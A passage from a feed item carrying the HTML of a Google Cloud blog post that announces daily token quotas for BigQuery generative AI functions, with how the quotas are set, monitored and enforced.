Cloud</title><department></department><company></company></author></item><item><title>Predictable AI spend in BigQuery: Introducing cost management for generative AI functions</title><link>https://cloud.google.com/blog/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/generative-ai-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;generative AI functions in BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.GENERATE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.IF&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.CLASSIFY&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.SCORE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and more) bring large language models (LLMs) directly into your SQL, so a single query can classify millions of support tickets or score each product review for sentiment. However, because these functions are billed by the token, scaling them across massive datasets highlights the importance of managing your budget proactively. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We recently announced the general availability (GA) of &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;token-based &lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;cost management&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt; for BigQuery generative AI functions&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: daily quotas that let administrators set self-serve guardrails on AI token consumption, so teams can innovate while staying within your budget. In this blog, we provide an overview of cost management for BigQuery generative AI functions, walk through a few practical examples, and share resources to help you get started. Let’s jump in.  &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Quotas for managing costs&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Four daily quotas, managed through the Google Cloud Identity and Access Management (IAM) quota system, provide controls at the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;project&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; level and the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;per-user&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; level. Per-user limits apply to each user within a project, not across your organization.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Quota name&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Metric&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Scope&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;th scope="col" style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Default value&lt;/strong&gt;&lt;/p&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;AI input tokens per day&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Input tokens used by the LLM&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Per day, per project&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;200 billion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;AI input tokens per day per user&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Input tokens used by the LLM&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Per day, per project, per user&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;150 billion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;AI output tokens per day&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Output and thinking tokens used by the LLM&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Per day, per project, per project&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;20 billion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;AI output tokens per day per user&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Output and thinking tokens used by the LLM&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Per day, per project, per user&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;15 billion&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Key details:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;The quotas are global.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Usage is summed across all regions, so costs can't pile up unnoticed in a region you weren't watching.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Output quotas include "thinking" tokens.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Reasoning tokens count toward your output quota, just as they count toward your Gemini platform bill.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Which functions are covered?&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The quotas apply to these BigQuery functions that perform LLM-backed generation:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-generate"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-table"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE_TABLE&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-generate-text"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE_TEXT&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (and its alias &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;ML.GENERATE_TEXT&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-classify"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.CLASSIFY&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-if"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.IF&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-score"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.SCORE&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-agg"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.AGG&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;What's not covered:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Embedding functions such as &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.GENERATE_EMBEDDING&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (also available as &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-embedding"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;ML.GENERATE_EMBEDDING&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;) and &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-embed"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.EMBED&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;not&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; subject to these quotas, because they run on different, substantially cheaper models.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Managing your quotas&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Administrators can view and adjust the quotas directly in the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Cloud console&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; as workloads change, with no support case required.&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Navigate to &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;IAM &amp;amp; Admin → &lt;/strong&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Quotas &amp;amp; System Limits&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Filter by service and select &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery API&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Sort by the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Name&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; column to bring the four AI quotas to the top.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_dxxy8WS.max-1000x1000.png"
        
          alt="1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;Locating the gen AI token quotas in IAM &amp;amp; Admin → Quotas &amp;amp; System Limits.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;4. Find the quota, for example &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;AI input tokens per day&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;5. Open the three-dot menu and choose &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Edit quota&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;From there:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;To tighten cost control,&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; lower a quota. This takes effect immediately with no approval needed.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;To support higher usage,&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; request an increase from the same page. Many requests are auto-approved; larger increases may go through a quick review.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_7NmvWbT.max-1000x1000.png"
        
          alt="2"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;Editing a gen AI token quota in IAM &amp;amp; Admin → Quotas &amp;amp; System Limits.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;You'll need the right permissions.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; You need one of: &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Owner&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Editor, &lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/iam/docs/roles-permissions/servicemanagement#servicemanagement.quotaAdmin"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Quota Administrator&lt;/strong&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;roles/servicemanagement.quotaAdmin&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;), or &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/iam/docs/roles-permissions/serviceusage#serviceusage.serviceUsageAdmin"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Service Usage Admin&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;roles/serviceusage.serviceUsageAdmin&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Prefer automation?&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; You can also &lt;/span&gt;&lt;a href="https://medium.com/google-cloud/bigquery-ai-cost-guardrails-how-to-set-daily-token-limits-programmatically-02d7a35f843a" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;manage these quotas programmatically&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; through the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/docs/quotas"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Quotas API&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gcloud&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; CLI, and Terraform to apply consistent guardrails across projects.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Monitoring usage&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Beyond setting limits, the &lt;/span&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Quotas &amp;amp; System Limits&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; page displays your historical token consumption so you can quickly detect spikes and right-size your budgets. Use these trends to see how new generative AI workloads and data pipelines affect your overall token usage.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_sSNHw57.max-1000x1000.png"
        
          alt="3"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;Daily project-level token usage for a gen AI token quota in IAM &amp;amp; Admin → Quotas &amp;amp; System Limits.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/4_iYgfR4l.max-1000x1000.png"
        
          alt="4"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w7qjz"&gt;Longer-term usage graph with selectable 7-day, 14-day, 30-day, and custom ranges.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For a step-by-step walkthrough, see the BigQuery documentation on &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;controlling costs with token quotas&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Token quotas vs. billing spend caps&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Token quotas aren't the only cost guardrail in Google Cloud.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Token quotas (this feature)&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;preventive&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;AI-specific&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;. BigQuery tracks token usage during query execution and stops work close to the limit, with separate limits per project and per user.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Cloud Billing &lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/billing/docs/how-to/budgets-spend-caps#eligible-services"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;spend caps&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; operate on &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;dollars&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; at the project and service level and can automatically block usage when a threshold is reached. They're a broad, financial backstop rather than a precise usage control, and because enforcement is not instant, some overages are incurred.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Use token quotas as your first line of defense for AI spend, and a spend cap as a project-wide safety net.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;How enforcement works&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Quotas are enforced by stopping work rather than letting a query run past your limit. A query is rejected up front with a &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;QuotaExceeded&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; error only if a quota it needs is already exhausted. Otherwise, it starts, and if a quota runs out mid-query, BigQuery stops sending new LLM calls:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Functions that support &lt;/strong&gt;&lt;code&gt;&lt;strong style="vertical-align: baseline;"&gt;max_error_ratio&lt;/strong&gt;&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (such as &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.IF&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) return partial results if unprocessed rows stay within the ratio, and otherwise fail.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;General-purpose functions&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; (such as &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.GENERATE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) still succeed. Skipped rows have no generated value, and their &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;status&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; field contains the quota-exceeded error.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For details, see &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs#quota_enforcement_behavior"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;quota enforcement behavior&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; in the documentation.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Sizing your input data: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To choose quota values, it helps to know how much text your workloads send to a model. The &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-count-tokens"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; function helps with this.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; returns the number of tokens a model's tokenizer produces for a text string, without making a billable generation call. Run it over a column to measure your input data:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
